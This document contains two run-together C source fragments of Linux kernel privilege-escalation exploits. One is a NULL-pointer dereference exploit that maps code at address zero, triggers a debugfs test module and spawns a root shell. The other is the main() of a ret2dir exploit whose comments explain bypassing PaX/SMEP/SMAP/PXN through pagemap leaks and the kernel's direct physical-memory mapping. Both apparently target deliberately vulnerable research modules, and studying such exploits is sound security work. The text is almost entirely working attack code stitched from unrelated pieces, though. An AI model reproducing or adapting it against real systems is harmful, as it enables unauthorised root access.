int main() { uid = getuid(); gid = getgid(); setresuid(uid, uid, uid); setresgid(gid, gid, gid); prepare_kernel_cred = get_ksym("prepare_kernel_cred"); commit_creds = get_ksym("commit_creds"); /* Put a pointer to our function at NULL */ mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0); void (**fn)(void) = NULL; *fn = get_root; /* Trigger the kernel */ int fd = open("/sys/kernel/debug/nullderef/null_call", O_WRONLY); write(fd, "1", 1); close(fd); if (getuid() == 0) { char *argv[] = {"/bin/sh", NULL}; execve("/bin/sh", argv, NULL); } fprintf(stderr, "Something went wrong?\n"); return 1; }
/* * w00t * * demonstrates how PaX/SMEP/SMAP/PXN can be bypassed by launching * a ret2dir attack for executing user-provided code, in kernel mode, * *without* crossing the kernel/user space boundary (i.e., perform * a ret2usr attack) or explicitly injecting the code in kernel memory * * The exploitation procedure builds upon the following: * i. a vulnerability that allows overwriting a kernel-level function/data * pointer with arbitrary user-controlled values (we use the * `kernwrite' module to inject a vulnerability) * * ii. page frame (PFN) information that is leaked from /proc/<pid>/pagemap * * iii. the fact that physical memory (RAM) is direct-mapped inside the * kernel space starting from PAGE_OFFSET (0xC0000000, * 0xFFFF880000000000) * * @argc: number of command-line options * @argv: command-line options * returns: 0 on success or >=1 on failure */ int main(int argc, char **argv) { int mode = MODE_UNSPEC; /* 0 = fptr, 1 = dptr */ /* kernel addresses */ unsigned long paddr = 0; /* prepare_kernel_cred */ unsigned long caddr = 0; /* commit_creds */ long psize; /* page size */ /* getopt stuff */ int opt; /* option */ int long_opt_indx = 0; /* long option index */ /* long options */ struct option long_options[] = { {"fptr", 0, NULL, 'f'}, /* -f / --fptr */ {"dptr", 0, NULL, 'd'}, /* -d / --dptr */ {"rop", 0, NULL, 'r'}, /* -r / --rop */ {"paddr", 1, NULL, 'p'}, /* -p / --paddr */ {"caddr", 1, NULL, 'c'}, /* -c / --caddr */ {"help", 0, NULL, 'h'}, /* -h / --help */ {"version", 0, NULL, 'v'}, /* -v / --version */ {NULL, 0, NULL, 0}}; /* terminating item */ /* arguments parsing */ while ((opt = getopt_long(argc, argv, ":hvfdrp:c:", long_options, &long_opt_indx)) != -1) { switch(opt) { case 'f': /* -f / --fptr */ mode = MODE_FPTR; break; case 'd': /* -d / --dptr */ mode = MODE_DPTR; break; case 'r': /* -r / --rop */ mode = MODE_ROP; break; case 'p': /* -p / --paddr */ paddr = strtoul(optarg, NULL, 0); break; case 'c': /* -c / --caddr */ caddr = strtoul(optarg, NULL, 0); break; case 'h': /* help */ help(); goto done; break; /* not reached */ case 'v': /* version info */ version(); goto done; break; /* not reached */ case '?': /* illegal option */ errx(1, "[Fail] illegal option -- %s", (optind == 0) ? argv[long_opt_indx] : argv[optind - 1]); break; case ':': /* missing argument */ errx(1, "[Fail] option requires an argument -- %s", (optind == 0) ? argv[long_opt_indx] : argv[optind - 1]); break; default: /* not reached */ break; /* make the compiler happy */ } } /* get the page size */ if ((psize = sysconf(_SC_PAGESIZE)) == -1) /* failed */ errx(2, "[Fail] couldn't read page size -- %s", strerror(errno)); /* validate arguments */ /* fptr vs. dptr */ if (mode == MODE_UNSPEC) { /* verbose */ warnx("[Warn] `mode' was not specified -- using -f (--fptr)"); /* set mode to fptr */ mode = MODE_FPTR; } /* address for `prepare_kernel_cred' */ if ((paddr < PAGE_OFFSET) && (mode != MODE_ROP)) { /* verbose */ warnx("[Warn] invalid `prepare_kernel_cred' address -- %#lx", paddr); /* try to auto-detect it */ if ((paddr = get_ksym("prepare_kernel_cred")) != 0) /* yes! */ fprintf(stdout, "[*] `prepare_kernel_cred' at %#lx\n", paddr); else /* failed */ errx(3, "[Fail] couldn't determine the address of `prepare_kernel_cred'"); } /* address for `commit_creds' */ if ((caddr < PAGE_OFFSET) && (mode != MODE_ROP)) { /* verbose */ warnx("[Warn] invalid `commit_creds' address -- %#lx", caddr); /* try to auto-detect it */ if ((caddr = get_ksym("commit_creds")) != 0) /* yes! */ fprintf(stdout, "[*] `commit_creds' at %#lx\n", caddr); else /* failed */ errx(3, "[Fail] couldn't determine the address of `commit_creds'"); } /* differentiate based on the supplied mode */ switch (mode) { case MODE_FPTR: /* -f / --fptr supplied */ p0wn_fptr(psize, paddr, caddr); break; case MODE_DPTR: /* -d / --dptr supplied */ p0wn_dptr(psize, paddr, caddr); break; #if defined(__i386__) case MODE_ROP: /* -r / --rop supplied */ p0wn_dptr_rop(psize); break; #endif default: /* not reached */ break; /* make the compiler happy */ } done: /* done; return with success */ return EXIT_SUCCESS; }